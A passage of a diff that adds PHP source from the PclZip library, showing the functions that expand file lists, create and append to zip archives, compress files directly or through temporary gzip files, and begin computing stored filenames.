+              PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")");
+              return PclZip::errorCode();
+            }
+          }
+        }
+      }
+
+    // end foreach
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privFileDescrExpand()
+  // Description :
+  //   This method look for each item of the list to see if its a file, a folder
+  //   or a string to be added as file. For any other type of files (link, other)
+  //   just ignore the item.
+  //   Then prepare the information that will be stored for that file.
+  //   When its a folder, expand the folder with all the files that are in that
+  //   folder (recursively).
+  // Parameters :
+  // Return Values :
+  //   1 on success.
+  //   0 on failure.
+  // --------------------------------------------------------------------------------
+  function privFileDescrExpand(&$p_filedescr_list, &$p_options)
+  {
+    $v_result=1;
+
+    // ----- Create a result list
+    $v_result_list = array();
+
+    // ----- Look each entry
+    for ($i=0; $i<sizeof($p_filedescr_list); $i++) {
+
+      // ----- Get filedescr
+      $v_descr = $p_filedescr_list[$i];
+
+      // ----- Reduce the filename
+      $v_descr['filename'] = PclZipUtilTranslateWinPath($v_descr['filename'], false);
+      $v_descr['filename'] = PclZipUtilPathReduction($v_descr['filename']);
+
+      // ----- Look for real file or folder
+      if (file_exists($v_descr['filename'])) {
+        if (@is_file($v_descr['filename'])) {
+          $v_descr['type'] = 'file';
+        }
+        else if (@is_dir($v_descr['filename'])) {
+          $v_descr['type'] = 'folder';
+        }
+        else if (@is_link($v_descr['filename'])) {
+          // skip
+          continue;
+        }
+        else {
+          // skip
+          continue;
+        }
+      }
+
+      // ----- Look for string added as file
+      else if (isset($v_descr['content'])) {
+        $v_descr['type'] = 'virtual_file';
+      }
+
+      // ----- Missing file
+      else {
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "File '".$v_descr['filename']."' does not exist");
+
+        // ----- Return
+        return PclZip::errorCode();
+      }
+
+      // ----- Calculate the stored filename
+      $this->privCalculateStoredFilename($v_descr, $p_options);
+
+      // ----- Add the descriptor in result list
+      $v_result_list[sizeof($v_result_list)] = $v_descr;
+
+      // ----- Look for folder
+      if ($v_descr['type'] == 'folder') {
+        // ----- List of items in folder
+        $v_dirlist_descr = array();
+        $v_dirlist_nb = 0;
+        if ($v_folder_handler = @opendir($v_descr['filename'])) {
+          while (($v_item_handler = @readdir($v_folder_handler)) !== false) {
+
+            // ----- Skip '.' and '..'
+            if (($v_item_handler == '.') || ($v_item_handler == '..')) {
+                continue;
+            }
+
+            // ----- Compose the full filename
+            $v_dirlist_descr[$v_dirlist_nb]['filename'] = $v_descr['filename'].'/'.$v_item_handler;
+
+            // ----- Look for different stored filename
+            // Because the name of the folder was changed, the name of the
+            // files/sub-folders also change
+            if (($v_descr['stored_filename'] != $v_descr['filename'])
+                 && (!isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH]))) {
+              if ($v_descr['stored_filename'] != '') {
+                $v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_descr['stored_filename'].'/'.$v_item_handler;
+              }
+              else {
+                $v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_item_handler;
+              }
+            }
+
+            $v_dirlist_nb++;
+          }
+
+          @closedir($v_folder_handler);
+        }
+        else {
+          // TBC : unable to open folder in read mode
+        }
+
+        // ----- Expand each element of the list
+        if ($v_dirlist_nb != 0) {
+          // ----- Expand
+          if (($v_result = $this->privFileDescrExpand($v_dirlist_descr, $p_options)) != 1) {
+            return $v_result;
+          }
+
+          // ----- Concat the resulting list
+          $v_result_list = array_merge($v_result_list, $v_dirlist_descr);
+        }
+        else {
+        }
+
+        // ----- Free local array
+        unset($v_dirlist_descr);
+      }
+    }
+
+    // ----- Get the result list
+    $p_filedescr_list = $v_result_list;
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privCreate()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privCreate($p_filedescr_list, &$p_result_list, &$p_options)
+  {
+    $v_result=1;
+    $v_list_detail = array();
+
+    // ----- Magic quotes trick
+    $this->privDisableMagicQuotes();
+
+    // ----- Open the file in write mode
+    if (($v_result = $this->privOpenFd('wb')) != 1)
+    {
+      // ----- Return
+      return $v_result;
+    }
+
+    // ----- Add the list of files
+    $v_result = $this->privAddList($p_filedescr_list, $p_result_list, $p_options);
+
+    // ----- Close
+    $this->privCloseFd();
+
+    // ----- Magic quotes trick
+    $this->privSwapBackMagicQuotes();
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privAdd()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privAdd($p_filedescr_list, &$p_result_list, &$p_options)
+  {
+    $v_result=1;
+    $v_list_detail = array();
+
+    // ----- Look if the archive exists or is empty
+    if ((!is_file($this->zipname)) || (filesize($this->zipname) == 0))
+    {
+
+      // ----- Do a create
+      $v_result = $this->privCreate($p_filedescr_list, $p_result_list, $p_options);
+
+      // ----- Return
+      return $v_result;
+    }
+    // ----- Magic quotes trick
+    $this->privDisableMagicQuotes();
+
+    // ----- Open the zip file
+    if (($v_result=$this->privOpenFd('rb')) != 1)
+    {
+      // ----- Magic quotes trick
+      $this->privSwapBackMagicQuotes();
+
+      // ----- Return
+      return $v_result;
+    }
+
+    // ----- Read the central directory informations
+    $v_central_dir = array();
+    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
+    {
+      $this->privCloseFd();
+      $this->privSwapBackMagicQuotes();
+      return $v_result;
+    }
+
+    // ----- Go to beginning of File
+    @rewind($this->zip_fd);
+
+    // ----- Creates a temporay file
+    $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';
+
+    // ----- Open the temporary file in write mode
+    if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0)
+    {
+      $this->privCloseFd();
+      $this->privSwapBackMagicQuotes();
+
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode');
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Copy the files from the archive to the temporary file
+    // TBC : Here I should better append the file and go back to erase the central dir
+    $v_size = $v_central_dir['offset'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      $v_buffer = fread($this->zip_fd, $v_read_size);
+      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Swap the file descriptor
+    // Here is a trick : I swap the temporary fd with the zip fd, in order to use
+    // the following methods on the temporary fil and not the real archive
+    $v_swap = $this->zip_fd;
+    $this->zip_fd = $v_zip_temp_fd;
+    $v_zip_temp_fd = $v_swap;
+
+    // ----- Add the files
+    $v_header_list = array();
+    if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1)
+    {
+      fclose($v_zip_temp_fd);
+      $this->privCloseFd();
+      @unlink($v_zip_temp_name);
+      $this->privSwapBackMagicQuotes();
+
+      // ----- Return
+      return $v_result;
+    }
+
+    // ----- Store the offset of the central dir
+    $v_offset = @ftell($this->zip_fd);
+
+    // ----- Copy the block of file headers from the old archive
+    $v_size = $v_central_dir['size'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      $v_buffer = @fread($v_zip_temp_fd, $v_read_size);
+      @fwrite($this->zip_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Create the Central Dir files header
+    for ($i=0, $v_count=0; $i<sizeof($v_header_list); $i++)
+    {
+      // ----- Create the file header
+      if ($v_header_list[$i]['status'] == 'ok') {
+        if (($v_result = $this->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
+          fclose($v_zip_temp_fd);
+          $this->privCloseFd();
+          @unlink($v_zip_temp_name);
+          $this->privSwapBackMagicQuotes();
+
+          // ----- Return
+          return $v_result;
+        }
+        $v_count++;
+      }
+
+      // ----- Transform the header to a 'usable' info
+      $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
+    }
+
+    // ----- Zip file comment
+    $v_comment = $v_central_dir['comment'];
+    if (isset($p_options[PCLZIP_OPT_COMMENT])) {
+      $v_comment = $p_options[PCLZIP_OPT_COMMENT];
+    }
+    if (isset($p_options[PCLZIP_OPT_ADD_COMMENT])) {
+      $v_comment = $v_comment.$p_options[PCLZIP_OPT_ADD_COMMENT];
+    }
+    if (isset($p_options[PCLZIP_OPT_PREPEND_COMMENT])) {
+      $v_comment = $p_options[PCLZIP_OPT_PREPEND_COMMENT].$v_comment;
+    }
+
+    // ----- Calculate the size of the central header
+    $v_size = @ftell($this->zip_fd)-$v_offset;
+
+    // ----- Create the central dir footer
+    if (($v_result = $this->privWriteCentralHeader($v_count+$v_central_dir['entries'], $v_size, $v_offset, $v_comment)) != 1)
+    {
+      // ----- Reset the file list
+      unset($v_header_list);
+      $this->privSwapBackMagicQuotes();
+
+      // ----- Return
+      return $v_result;
+    }
+
+    // ----- Swap back the file descriptor
+    $v_swap = $this->zip_fd;
+    $this->zip_fd = $v_zip_temp_fd;
+    $v_zip_temp_fd = $v_swap;
+
+    // ----- Close
+    $this->privCloseFd();
+
+    // ----- Close the temporary file
+    @fclose($v_zip_temp_fd);
+
+    // ----- Magic quotes trick
+    $this->privSwapBackMagicQuotes();
+
+    // ----- Delete the zip file
+    // TBC : I should test the result ...
+    @unlink($this->zipname);
+
+    // ----- Rename the temporary file
+    // TBC : I should test the result ...
+    //@rename($v_zip_temp_name, $this->zipname);
+    PclZipUtilRename($v_zip_temp_name, $this->zipname);
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privOpenFd()
+  // Description :
+  // Parameters :
+  // --------------------------------------------------------------------------------
+  function privOpenFd($p_mode)
+  {
+    $v_result=1;
+
+    // ----- Look if already open
+    if ($this->zip_fd != 0)
+    {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Zip file \''.$this->zipname.'\' already open');
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Open the zip file
+    if (($this->zip_fd = @fopen($this->zipname, $p_mode)) == 0)
+    {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in '.$p_mode.' mode');
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privCloseFd()
+  // Description :
+  // Parameters :
+  // --------------------------------------------------------------------------------
+  function privCloseFd()
+  {
+    $v_result=1;
+
+    if ($this->zip_fd != 0)
+      @fclose($this->zip_fd);
+    $this->zip_fd = 0;
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privAddList()
+  // Description :
+  //   $p_add_dir and $p_remove_dir will give the ability to memorize a path which is
+  //   different from the real path of the file. This is usefull if you want to have PclTar
+  //   running in any directory, and memorize relative path from an other directory.
+  // Parameters :
+  //   $p_list : An array containing the file or directory names to add in the tar
+  //   $p_result_list : list of added files with their properties (specially the status field)
+  //   $p_add_dir : Path to add in the filename path archived
+  //   $p_remove_dir : Path to remove in the filename path archived
+  // Return Values :
+  // --------------------------------------------------------------------------------
+//  function privAddList($p_list, &$p_result_list, $p_add_dir, $p_remove_dir, $p_remove_all_dir, &$p_options)
+  function privAddList($p_filedescr_list, &$p_result_list, &$p_options)
+  {
+    $v_result=1;
+
+    // ----- Add the files
+    $v_header_list = array();
+    if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1)
+    {
+      // ----- Return
+      return $v_result;
+    }
+
+    // ----- Store the offset of the central dir
+    $v_offset = @ftell($this->zip_fd);
+
+    // ----- Create the Central Dir files header
+    for ($i=0,$v_count=0; $i<sizeof($v_header_list); $i++)
+    {
+      // ----- Create the file header
+      if ($v_header_list[$i]['status'] == 'ok') {
+        if (($v_result = $this->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
+          // ----- Return
+          return $v_result;
+        }
+        $v_count++;
+      }
+
+      // ----- Transform the header to a 'usable' info
+      $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
+    }
+
+    // ----- Zip file comment
+    $v_comment = '';
+    if (isset($p_options[PCLZIP_OPT_COMMENT])) {
+      $v_comment = $p_options[PCLZIP_OPT_COMMENT];
+    }
+
+    // ----- Calculate the size of the central header
+    $v_size = @ftell($this->zip_fd)-$v_offset;
+
+    // ----- Create the central dir footer
+    if (($v_result = $this->privWriteCentralHeader($v_count, $v_size, $v_offset, $v_comment)) != 1)
+    {
+      // ----- Reset the file list
+      unset($v_header_list);
+
+      // ----- Return
+      return $v_result;
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privAddFileList()
+  // Description :
+  // Parameters :
+  //   $p_filedescr_list : An array containing the file description
+  //                      or directory names to add in the zip
+  //   $p_result_list : list of added files with their properties (specially the status field)
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privAddFileList($p_filedescr_list, &$p_result_list, &$p_options)
+  {
+    $v_result=1;
+    $v_header = array();
+
+    // ----- Recuperate the current number of elt in list
+    $v_nb = sizeof($p_result_list);
+
+    // ----- Loop on the files
+    for ($j=0; ($j<sizeof($p_filedescr_list)) && ($v_result==1); $j++) {
+      // ----- Format the filename
+      $p_filedescr_list[$j]['filename']
+      = PclZipUtilTranslateWinPath($p_filedescr_list[$j]['filename'], false);
+
+
+      // ----- Skip empty file names
+      // TBC : Can this be possible ? not checked in DescrParseAtt ?
+      if ($p_filedescr_list[$j]['filename'] == "") {
+        continue;
+      }
+
+      // ----- Check the filename
+      if (   ($p_filedescr_list[$j]['type'] != 'virtual_file')
+          && (!file_exists($p_filedescr_list[$j]['filename']))) {
+        PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "File '".$p_filedescr_list[$j]['filename']."' does not exist");
+        return PclZip::errorCode();
+      }
+
+      // ----- Look if it is a file or a dir with no all path remove option
+      // or a dir with all its path removed
+//      if (   (is_file($p_filedescr_list[$j]['filename']))
+//          || (   is_dir($p_filedescr_list[$j]['filename'])
+      if (   ($p_filedescr_list[$j]['type'] == 'file')
+          || ($p_filedescr_list[$j]['type'] == 'virtual_file')
+          || (   ($p_filedescr_list[$j]['type'] == 'folder')
+              && (   !isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH])
+                  || !$p_options[PCLZIP_OPT_REMOVE_ALL_PATH]))
+          ) {
+
+        // ----- Add the file
+        $v_result = $this->privAddFile($p_filedescr_list[$j], $v_header,
+                                       $p_options);
+        if ($v_result != 1) {
+          return $v_result;
+        }
+
+        // ----- Store the file infos
+        $p_result_list[$v_nb++] = $v_header;
+      }
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privAddFile()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privAddFile($p_filedescr, &$p_header, &$p_options)
+  {
+    $v_result=1;
+
+    // ----- Working variable
+    $p_filename = $p_filedescr['filename'];
+
+    // TBC : Already done in the fileAtt check ... ?
+    if ($p_filename == "") {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file list parameter (invalid or empty list)");
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Look for a stored different filename
+    /* TBC : Removed
+    if (isset($p_filedescr['stored_filename'])) {
+      $v_stored_filename = $p_filedescr['stored_filename'];
+    }
+    else {
+      $v_stored_filename = $p_filedescr['stored_filename'];
+    }
+    */
+
+    // ----- Set the file properties
+    clearstatcache();
+    $p_header['version'] = 20;
+    $p_header['version_extracted'] = 10;
+    $p_header['flag'] = 0;
+    $p_header['compression'] = 0;
+    $p_header['crc'] = 0;
+    $p_header['compressed_size'] = 0;
+    $p_header['filename_len'] = strlen($p_filename);
+    $p_header['extra_len'] = 0;
+    $p_header['disk'] = 0;
+    $p_header['internal'] = 0;
+    $p_header['offset'] = 0;
+    $p_header['filename'] = $p_filename;
+// TBC : Removed    $p_header['stored_filename'] = $v_stored_filename;
+    $p_header['stored_filename'] = $p_filedescr['stored_filename'];
+    $p_header['extra'] = '';
+    $p_header['status'] = 'ok';
+    $p_header['index'] = -1;
+
+    // ----- Look for regular file
+    if ($p_filedescr['type']=='file') {
+      $p_header['external'] = 0x00000000;
+      $p_header['size'] = filesize($p_filename);
+    }
+
+    // ----- Look for regular folder
+    else if ($p_filedescr['type']=='folder') {
+      $p_header['external'] = 0x00000010;
+      $p_header['mtime'] = filemtime($p_filename);
+      $p_header['size'] = filesize($p_filename);
+    }
+
+    // ----- Look for virtual file
+    else if ($p_filedescr['type'] == 'virtual_file') {
+      $p_header['external'] = 0x00000000;
+      $p_header['size'] = strlen($p_filedescr['content']);
+    }
+
+
+    // ----- Look for filetime
+    if (isset($p_filedescr['mtime'])) {
+      $p_header['mtime'] = $p_filedescr['mtime'];
+    }
+    else if ($p_filedescr['type'] == 'virtual_file') {
+      $p_header['mtime'] = time();
+    }
+    else {
+      $p_header['mtime'] = filemtime($p_filename);
+    }
+
+    // ------ Look for file comment
+    if (isset($p_filedescr['comment'])) {
+      $p_header['comment_len'] = strlen($p_filedescr['comment']);
+      $p_header['comment'] = $p_filedescr['comment'];
+    }
+    else {
+      $p_header['comment_len'] = 0;
+      $p_header['comment'] = '';
+    }
+
+    // ----- Look for pre-add callback
+    if (isset($p_options[PCLZIP_CB_PRE_ADD])) {
+
+      // ----- Generate a local information
+      $v_local_header = array();
+      $this->privConvertHeader2FileInfo($p_header, $v_local_header);
+
+      // ----- Call the callback
+      // Here I do not use call_user_func() because I need to send a reference to the
+      // header.
+      $v_result = $p_options[PCLZIP_CB_PRE_ADD](PCLZIP_CB_PRE_ADD, $v_local_header);
+      if ($v_result == 0) {
+        // ----- Change the file status
+        $p_header['status'] = "skipped";
+        $v_result = 1;
+      }
+
+      // ----- Update the informations
+      // Only some fields can be modified
+      if ($p_header['stored_filename'] != $v_local_header['stored_filename']) {
+        $p_header['stored_filename'] = PclZipUtilPathReduction($v_local_header['stored_filename']);
+      }
+    }
+
+    // ----- Look for empty stored filename
+    if ($p_header['stored_filename'] == "") {
+      $p_header['status'] = "filtered";
+    }
+
+    // ----- Check the path length
+    if (strlen($p_header['stored_filename']) > 0xFF) {
+      $p_header['status'] = 'filename_too_long';
+    }
+
+    // ----- Look if no error, or file not skipped
+    if ($p_header['status'] == 'ok') {
+
+      // ----- Look for a file
+      if ($p_filedescr['type'] == 'file') {
+        // ----- Look for using temporary file to zip
+        if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF]))
+            && (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON])
+                || (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD])
+                    && ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_header['size'])) ) ) {
+          $v_result = $this->privAddFileUsingTempFile($p_filedescr, $p_header, $p_options);
+          if ($v_result < PCLZIP_ERR_NO_ERROR) {
+            return $v_result;
+          }
+        }
+
+        // ----- Use "in memory" zip algo
+        else {
+
+        // ----- Open the source file
+        if (($v_file = @fopen($p_filename, "rb")) == 0) {
+          PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode");
+          return PclZip::errorCode();
+        }
+
+        // ----- Read the file content
+        $v_content = @fread($v_file, $p_header['size']);
+
+        // ----- Close the file
+        @fclose($v_file);
+
+        // ----- Calculate the CRC
+        $p_header['crc'] = @crc32($v_content);
+
+        // ----- Look for no compression
+        if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) {
+          // ----- Set header parameters
+          $p_header['compressed_size'] = $p_header['size'];
+          $p_header['compression'] = 0;
+        }
+
+        // ----- Look for normal compression
+        else {
+          // ----- Compress the content
+          $v_content = @gzdeflate($v_content);
+
+          // ----- Set header parameters
+          $p_header['compressed_size'] = strlen($v_content);
+          $p_header['compression'] = 8;
+        }
+
+        // ----- Call the header generation
+        if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
+          @fclose($v_file);
+          return $v_result;
+        }
+
+        // ----- Write the compressed (or not) content
+        @fwrite($this->zip_fd, $v_content, $p_header['compressed_size']);
+
+        }
+
+      }
+
+      // ----- Look for a virtual file (a file from string)
+      else if ($p_filedescr['type'] == 'virtual_file') {
+
+        $v_content = $p_filedescr['content'];
+
+        // ----- Calculate the CRC
+        $p_header['crc'] = @crc32($v_content);
+
+        // ----- Look for no compression
+        if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) {
+          // ----- Set header parameters
+          $p_header['compressed_size'] = $p_header['size'];
+          $p_header['compression'] = 0;
+        }
+
+        // ----- Look for normal compression
+        else {
+          // ----- Compress the content
+          $v_content = @gzdeflate($v_content);
+
+          // ----- Set header parameters
+          $p_header['compressed_size'] = strlen($v_content);
+          $p_header['compression'] = 8;
+        }
+
+        // ----- Call the header generation
+        if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
+          @fclose($v_file);
+          return $v_result;
+        }
+
+        // ----- Write the compressed (or not) content
+        @fwrite($this->zip_fd, $v_content, $p_header['compressed_size']);
+      }
+
+      // ----- Look for a directory
+      else if ($p_filedescr['type'] == 'folder') {
+        // ----- Look for directory last '/'
+        if (@substr($p_header['stored_filename'], -1) != '/') {
+          $p_header['stored_filename'] .= '/';
+        }
+
+        // ----- Set the file properties
+        $p_header['size'] = 0;
+        //$p_header['external'] = 0x41FF0010;   // Value for a folder : to be checked
+        $p_header['external'] = 0x00000010;   // Value for a folder : to be checked
+
+        // ----- Call the header generation
+        if (($v_result = $this->privWriteFileHeader($p_header)) != 1)
+        {
+          return $v_result;
+        }
+      }
+    }
+
+    // ----- Look for post-add callback
+    if (isset($p_options[PCLZIP_CB_POST_ADD])) {
+
+      // ----- Generate a local information
+      $v_local_header = array();
+      $this->privConvertHeader2FileInfo($p_header, $v_local_header);
+
+      // ----- Call the callback
+      // Here I do not use call_user_func() because I need to send a reference to the
+      // header.
+      $v_result = $p_options[PCLZIP_CB_POST_ADD](PCLZIP_CB_POST_ADD, $v_local_header);
+      if ($v_result == 0) {
+        // ----- Ignored
+        $v_result = 1;
+      }
+
+      // ----- Update the informations
+      // Nothing can be modified
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privAddFileUsingTempFile()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privAddFileUsingTempFile($p_filedescr, &$p_header, &$p_options)
+  {
+    $v_result=PCLZIP_ERR_NO_ERROR;
+
+    // ----- Working variable
+    $p_filename = $p_filedescr['filename'];
+
+
+    // ----- Open the source file
+    if (($v_file = @fopen($p_filename, "rb")) == 0) {
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode");
+      return PclZip::errorCode();
+    }
+
+    // ----- Creates a compressed temporary file
+    $v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz';
+    if (($v_file_compressed = @gzopen($v_gzip_temp_name, "wb")) == 0) {
+      fclose($v_file);
+      PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary write mode');
+      return PclZip::errorCode();
+    }
+
+    // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
+    $v_size = filesize($p_filename);
+    while ($v_size != 0) {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      $v_buffer = @fread($v_file, $v_read_size);
+      //$v_binary_data = pack('a'.$v_read_size, $v_buffer);
+      @gzputs($v_file_compressed, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Close the file
+    @fclose($v_file);
+    @gzclose($v_file_compressed);
+
+    // ----- Check the minimum file size
+    if (filesize($v_gzip_temp_name) < 18) {
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'gzip temporary file \''.$v_gzip_temp_name.'\' has invalid filesize - should be minimum 18 bytes');
+      return PclZip::errorCode();
+    }
+
+    // ----- Extract the compressed attributes
+    if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0) {
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode');
+      return PclZip::errorCode();
+    }
+
+    // ----- Read the gzip file header
+    $v_binary_data = @fread($v_file_compressed, 10);
+    $v_data_header = unpack('a1id1/a1id2/a1cm/a1flag/Vmtime/a1xfl/a1os', $v_binary_data);
+
+    // ----- Check some parameters
+    $v_data_header['os'] = bin2hex($v_data_header['os']);
+
+    // ----- Read the gzip file footer
+    @fseek($v_file_compressed, filesize($v_gzip_temp_name)-8);
+    $v_binary_data = @fread($v_file_compressed, 8);
+    $v_data_footer = unpack('Vcrc/Vcompressed_size', $v_binary_data);
+
+    // ----- Set the attributes
+    $p_header['compression'] = ord($v_data_header['cm']);
+    //$p_header['mtime'] = $v_data_header['mtime'];
+    $p_header['crc'] = $v_data_footer['crc'];
+    $p_header['compressed_size'] = filesize($v_gzip_temp_name)-18;
+
+    // ----- Close the file
+    @fclose($v_file_compressed);
+
+    // ----- Call the header generation
+    if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
+      return $v_result;
+    }
+
+    // ----- Add the compressed data
+    if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0)
+    {
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode');
+      return PclZip::errorCode();
+    }
+
+    // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
+    fseek($v_file_compressed, 10);
+    $v_size = $p_header['compressed_size'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      $v_buffer = @fread($v_file_compressed, $v_read_size);
+      //$v_binary_data = pack('a'.$v_read_size, $v_buffer);
+      @fwrite($this->zip_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Close the file
+    @fclose($v_file_compressed);
+
+    // ----- Unlink the temporary file
+    @unlink($v_gzip_temp_name);
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privCalculateStoredFilename()
+  // Description :
+  //   Based on file descriptor properties and global options, this method
+  //   calculate the filename that will be stored in the archive.
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privCalculateStoredFilename(&$p_filedescr, &$p_options)
+  {
+    $v_result=1;
+
+    // ----- Working variables
+    $p_filename = $p_filedescr['filename'];
+    if (isset($p_options[PCLZIP_OPT_ADD_PATH])) {
+      $p_add_dir = $p_options[PCLZIP_OPT_ADD_PATH];
+    }
+    else {
+      $p_add_dir = '';
+    }
+    if (isset($p_options[PCLZIP_OPT_REMOVE_PATH])) {
+      $p_remove_dir = $p_options[PCLZIP_OPT_REMOVE_PATH];
+    }
+    else {
+      $p_remove_dir = '';
+    }
+    if (isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
+      $p_remove_all_dir = $p_options[PCLZIP_OPT_REMOVE_ALL_PATH];
+    }
+    else {
+      $p_remove_all_dir = 0;
+    }
+
+
+    // ----- Look for full name change
+    if (isset($p_filedescr['new_full_name'])) {
+      // ----- Remove drive letter if any
+      $v_stored_filename = PclZipUtilTranslateWinPath($p_filedescr['new_full_name']);
+    }
+
+    // ----- Look for path and/or short name change
+    else {
+
+      // ----- Look for short name change
+      // Its when we cahnge just the filename but not the path
+      if (isset($p_filedescr['new_short_name'])) {
+        $v_path_info = pathinfo($p_filename);
+        $v_dir = '';
+        if ($v_path_info['dirname'] != '') {
+          $v_dir = $v_path_info['dirname'].'/';
+        }
+        $v_stored_filename = $v_dir.$p_filedescr['new_short_name'];
+      }
+      else {
+        // ----- Calculate the stored filename
+        $v_stored_filename = $p_filename;
+      }
+
+      // ----- Look for all path to remove
+      if ($p_remove_all_dir) {
+        $v_stored_filename = basename($p_filename);
+      }
+      // ----- Look for partial path remove
+      else if ($p_remove_dir != "") {
+        if (substr($p_remove_dir, -1) != '/')
+          $p_remove_dir .= "/";
+
+        if (   (substr($p_filename, 0, 2) == "./")
+            || (substr($p_remove_dir, 0, 2) == "./")) {
+
+          if (   (substr($p_filename, 0, 2) == "./")
+              && (substr($p_remove_dir, 0, 2) != "./")) {
+            $p_remove_dir = "./".$p_remove_dir;
+          }
+          if (   (substr($p_filename, 0, 2) != "./")
+              && (substr($p_remove_dir, 0, 2) == "./")) {
+            $p_remove_dir = substr($p_remove_dir, 2);
+          }
+        }
+
